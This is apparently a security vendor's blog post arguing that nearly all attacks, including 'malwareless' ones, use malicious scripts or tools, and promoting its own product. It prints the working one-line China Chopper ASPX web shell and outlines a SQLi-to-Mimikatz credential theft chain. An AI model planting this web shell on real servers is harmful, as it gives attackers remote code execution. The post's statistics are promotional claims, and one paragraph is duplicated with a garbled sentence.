Mal(icious soft)ware still used in 99.9% of attacks...
In part one of this post, we presented a true definition of malware and showed you what some may not consider to be malware can, in fact, be used to launch cyberattacks. In part two, we’ll dive deeper into how the term “malwareless” may have come about and explain how what these vendors consider to be “malwareless” attacks, in fact, still rely on some very traditional malware to accomplish their malicious intent.
Malwareless, perhaps, but only stage 1
Some security experts have interpreted a Data Breach Investigations Report (DBIR) published by Verizon in 2013 as representing that only 40% of the data breaches documented in 2012 involved malware. However the word “malware” is defined in that scenario as Windows compiled binaries. When scripts and other binaries are included, the number is much higher and necessarily reflects not only Windows but also Linux, OS X, and even other *NIX types. Malware is not a platform-specific problem and the focus by industry on solutions limited to Windows fails to include the estimated 40%+ of attacks that are not targeted to Windows. The Verizon 2015 DBIR calculated that 96% of incidents (over 10 years) fell into specific breach patterns. From that information, we can estimate that only 25-30% are probably related to compiled binaries - and even those (as well as the other 70%+) involve scripting or other tailored instructions.
Concluding that malware is used in nearly EVERY attack (and breach, and subsequent compromise/APT activities) is a more accurate reflection. Even when a malicious insider was the actor, our investigations have proved that scripts, tailored instructions for the use of tools (legitimate or otherwise), or compiled binaries, whether on Windows, Linux, OS X, or other *NIX systems, are used. Malware is not the problem; the problem is the ability of an actor to execute malicious instructions. That is quite simply what CylancePROTECT® is designed to prevent (yes, even beyond Windows).
SQL injection, directory traversal, buffer overflow attacks, phishing, pharming, and waterholing- these all involve scripts or tools that attempt to exploit software deficiencies (in design or as installed/implemented). They are not limited to the use of compiled binaries, but do rely upon malicious instructions to manipulate vulnerable computer resources.
One of our all-time favorites is the use of a single line of instructions that if copied onto a web server, can make the related network accessible without any additional malicious software or code. All that is required is a credential that will allow an attacker to move around to other computers and leverage Windows commands and applications. We’ve seen this used in large and small companies around the world. It is effective and very efficient. It is known as “China Chopper”, and we found it first in 2010:
<%@ Page Language="Jscript"%><%eval(Request.Item["password"],"unsafe");%>
Obviously China Chopper is malware – even though it is simply a script to harness web services capabilities. What happens afterwards is almost always the downloading and usage of custom RATs or backdoors that get installed for consistent and dependable reentry should initial access be cut.
Rare investigations into China Chopper attacks have shown that while malicious actors always use existing remote desktop services available on internal systems like RDP or VNC to propagate their attack, they obtain the credentials that grant them access to those systems by harvesting Windows local or domain credentials through the use of malware – whether by dumping secrets/hashes from the Windows registry with native administrative tools, or by using other tools such as GSECDump, Mimikatz, WCE, or etc. Again, all are malware.
A common scenario we find with Chopper use is that after being dropped on a web server through SQLi, WebDAV exploit or some other vulnerability, it is commonly used to accept a remote shell connection and facilitate PowerShell script instructions to return host information, or often, to download a malicious binary or payload for insertion into an existing process. We've noticed that MIMIKATZ or WCE are often used in this way - a PowerShell script calls MIMIKATZ to express credential secrets - and provide those to the malicious actor.
So, the artifact chain history looks like this:
1) SQLi causes a windows IIS worker process (w3wp.exe) event
2) The command shell launches a PowerShell event
3) HTTP GET of MIMIKATZ from remote host occurs
4) Injection of MIMIKATZ into a legitimate process causes an LSA Secrets (lsass.exe) event
5) HTTP POST of results
As we've discussed, not only is the Chopper client malware, but so is the PowerShell script and the tool that is downloaded and used for malicious purposes from disk or the memory being used by another process. CylancePROTECT detects and the PowerShell script from executing. This prevents downloading of the malicious tool, but even if it were to be downloaded, the invaded process or execution of MIMIKATZ from disk would be prevented as well.
detects and prevents the PowerShell script from executing. This prevents downloading of the malicious tool, but even if it were to be downloaded, the invaded process or execution of MIMIKATZ from disk would be prevented as well.
The other scenario that does not use malware directly is with compromised VPN access. Attackers use spearphishing campaigns to trick users into supplying their usernames and passwords to an attacker-owned website. Once they capture the user’s credentials, they utilize the access, and then they can insert scripts or RATs on other computers. Ironically, we are now seeing cases where clients that have good SIEM configurations but still rely on traditional antivirus solutions to combat malware are experiencing a renewed increase in attacks that use malicious RATs and other traditional malware. We believe this is occurring because as SIEMs evolve to monitor user behavior and misuse of system tools, attackers have realized they have a better chance of sustaining backdoor access with traditional malware. That’s quite a reversal from two years ago when the shift was towards use of existing tools. This still happens as part of the process, but more often as a combined approach now.
The Sad Truth
The sad truth is that some form of mal(icious soft)ware is used in 99.9% of all attacks and correlated APT activities. Once that fact is embraced, we can then begin to prevent 99.9% of all attacks with CylancePROTECT.
For more information on how CylancePROTECT can prevent against “file-less” or “malwareless” attacks, please check out a recent video that demonstrates our protection: